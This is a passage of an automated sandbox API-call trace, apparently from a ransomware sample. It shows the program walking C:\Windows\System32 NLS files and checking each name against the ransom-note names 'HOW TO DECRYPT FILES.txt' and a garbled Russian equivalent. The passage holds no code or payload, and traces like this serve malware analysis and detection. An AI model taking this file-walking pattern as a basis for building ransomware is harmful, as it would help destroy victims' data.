ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac6be85a, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2898857c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1145.NLS", cAlternateFileName="")) returned 1 [0144.530] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.530] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1145.NLS") returned 1 [0144.530] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1145.NLS") returned 1 [0144.530] lstrcmpiA (lpString1="", lpString2="C_1145.NLS") returned -1 [0144.530] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1144.NLS") returned="C_1144.NLS" [0144.530] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.530] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.531] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6e49b9, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac6e49b9, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2898857c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1146.NLS", cAlternateFileName="")) returned 1 [0144.531] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.535] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1146.NLS") returned 1 [0144.535] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1146.NLS") returned 1 [0144.535] lstrcmpiA (lpString1="", lpString2="C_1146.NLS") returned -1 [0144.535] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1145.NLS") returned="C_1145.NLS" [0144.535] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.535] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.536] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac756dd6, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac756dd6, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2898857c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1147.NLS", cAlternateFileName="")) returned 1 [0144.537] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.537] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1147.NLS") returned 1 [0144.537] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1147.NLS") returned 1 [0144.537] lstrcmpiA (lpString1="", lpString2="C_1147.NLS") returned -1 [0144.537] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1146.NLS") returned="C_1146.NLS" [0144.537] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.537] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.537] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac77cf35, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac77cf35, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2898857c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1148.NLS", cAlternateFileName="")) returned 1 [0144.537] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.537] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1148.NLS") returned 1 [0144.537] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1148.NLS") returned 1 [0144.538] lstrcmpiA (lpString1="", lpString2="C_1148.NLS") returned -1 [0144.538] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1147.NLS") returned="C_1147.NLS" [0144.538] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.538] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.538] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac7a3094, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac7a3094, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2898857c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1149.NLS", cAlternateFileName="")) returned 1 [0144.538] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.538] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1149.NLS") returned 1 [0144.538] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1149.NLS") returned 1 [0144.538] lstrcmpiA (lpString1="", lpString2="C_1149.NLS") returned -1 [0144.538] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1148.NLS") returned="C_1148.NLS" [0144.538] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.538] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.539] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2817fb3c, ftCreationTime.dwHighDateTime=0x1c9ea15, ftLastAccessTime.dwLowDateTime=0x2817fb3c, ftLastAccessTime.dwHighDateTime=0x1c9ea15, ftLastWriteTime.dwLowDateTime=0x2817fb3c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1250.NLS", cAlternateFileName="")) returned 1 [0144.539] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.539] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1250.NLS") returned 1 [0144.539] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1250.NLS") returned 1 [0144.539] lstrcmpiA (lpString1="", lpString2="C_1250.NLS") returned -1 [0144.539] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1149.NLS") returned="C_1149.NLS" [0144.539] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.539] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.539] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac3c4cee, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac3c4cee, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x281a5c9c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1251.NLS", cAlternateFileName="")) returned 1 [0144.539] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.539] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1251.NLS") returned 1 [0144.539] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1251.NLS") returned 1 [0144.540] lstrcmpiA (lpString1="", lpString2="C_1251.NLS") returned -1 [0144.540] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1250.NLS") returned="C_1250.NLS" [0144.540] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.540] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.540] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac3eae4d, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac3eae4d, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2823e21c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1252.NLS", cAlternateFileName="")) returned 1 [0144.540] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.540] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1252.NLS") returned 1 [0144.540] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1252.NLS") returned 1 [0144.540] lstrcmpiA (lpString1="", lpString2="C_1252.NLS") returned -1 [0144.540] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1251.NLS") returned="C_1251.NLS" [0144.540] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.540] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.541] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac3eae4d, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac3eae4d, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x282d679c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1253.NLS", cAlternateFileName="")) returned 1 [0144.541] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.541] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1253.NLS") returned 1 [0144.541] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1253.NLS") returned 1 [0144.541] lstrcmpiA (lpString1="", lpString2="C_1253.NLS") returned -1 [0144.541] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1252.NLS") returned="C_1252.NLS" [0144.541] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.541] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.541] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac410fac, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac410fac, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x282fc8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1254.NLS", cAlternateFileName="")) returned 1 [0144.541] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.541] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1254.NLS") returned 1 [0144.541] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1254.NLS") returned 1 [0144.542] lstrcmpiA (lpString1="", lpString2="C_1254.NLS") returned -1 [0144.542] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1253.NLS") returned="C_1253.NLS" [0144.542] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.542] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.542] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac43710b, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac43710b, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x282fc8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1255.NLS", cAlternateFileName="")) returned 1 [0144.542] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.542] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1255.NLS") returned 1 [0144.542] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1255.NLS") returned 1 [0144.542] lstrcmpiA (lpString1="", lpString2="C_1255.NLS") returned -1 [0144.542] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1254.NLS") returned="C_1254.NLS" [0144.542] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.542] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.543] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac43710b, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac43710b, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x282fc8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1256.NLS", cAlternateFileName="")) returned 1 [0144.543] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.543] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1256.NLS") returned 1 [0144.543] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1256.NLS") returned 1 [0144.543] lstrcmpiA (lpString1="", lpString2="C_1256.NLS") returned -1 [0144.543] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1255.NLS") returned="C_1255.NLS" [0144.543] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.543] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.543] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac45d26a, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac45d26a, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x282fc8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1257.NLS", cAlternateFileName="")) returned 1 [0144.543] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.543] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1257.NLS") returned 1 [0144.543] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1257.NLS") returned 1 [0144.543] lstrcmpiA (lpString1="", lpString2="C_1257.NLS") returned -1 [0144.544] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1256.NLS") returned="C_1256.NLS" [0144.544] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.544] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.544] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac45d26a, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac45d26a, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x28322a5c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1258.NLS", cAlternateFileName="")) returned 1 [0144.544] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.544] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1258.NLS") returned 1 [0144.544] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1258.NLS") returned 1 [0144.544] lstrcmpiA (lpString1="", lpString2="C_1258.NLS") returned -1 [0144.544] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1257.NLS") returned="C_1257.NLS" [0144.544] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.544] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.545] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca2a7e3, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xaca2a7e3, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2941871c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x2e622, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_1361.NLS", cAlternateFileName="")) returned 1 [0144.545] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.545] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_1361.NLS") returned 1 [0144.545] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_1361.NLS") returned 1 [0144.545] lstrcmpiA (lpString1="", lpString2="C_1361.NLS") returned -1 [0144.545] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1258.NLS") returned="C_1258.NLS" [0144.545] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.545] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.545] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca76aa1, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xaca76aa1, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x294649dc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x2c022, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20000.NLS", cAlternateFileName="")) returned 1 [0144.545] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.545] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_20000.NLS") returned 1 [0144.545] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_20000.NLS") returned 1 [0144.546] lstrcmpiA (lpString1="", lpString2="C_20000.NLS") returned -1 [0144.546] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_1361.NLS") returned="C_1361.NLS" [0144.546] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.546] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.546] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca76aa1, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xaca76aa1, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x294649dc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x2d822, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20001.NLS", cAlternateFileName="")) returned 1 [0144.546] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.546] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_20001.NLS") returned 1 [0144.546] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_20001.NLS") returned 1 [0144.546] lstrcmpiA (lpString1="", lpString2="C_20001.NLS") returned -1 [0144.546] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20000.NLS") returned="C_20000.NLS" [0144.546] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.546] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.547] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca9cc00, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xaca9cc00, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2948ab3c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x2a622, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20002.NLS", cAlternateFileName="")) returned 1 [0144.547] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.547] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="C_20002.NLS") returned 1 [0144.547] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="C_20002.NLS") returned 1 [0144.547] lstrcmpiA (lpString1="", lpString2="C_20002.NLS") returned -1 [0144.547] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20001.NLS") returned="C_20001.NLS" [0144.547] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.547] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.547] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacac2d5f, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacac2d5f, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2948ab3c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x2d422, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20003.NLS", cAlternateFileName="")) returned 1 [0144.547] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.548] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20002.NLS") returned="C_20002.NLS" [0144.548] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.548] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.548] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | 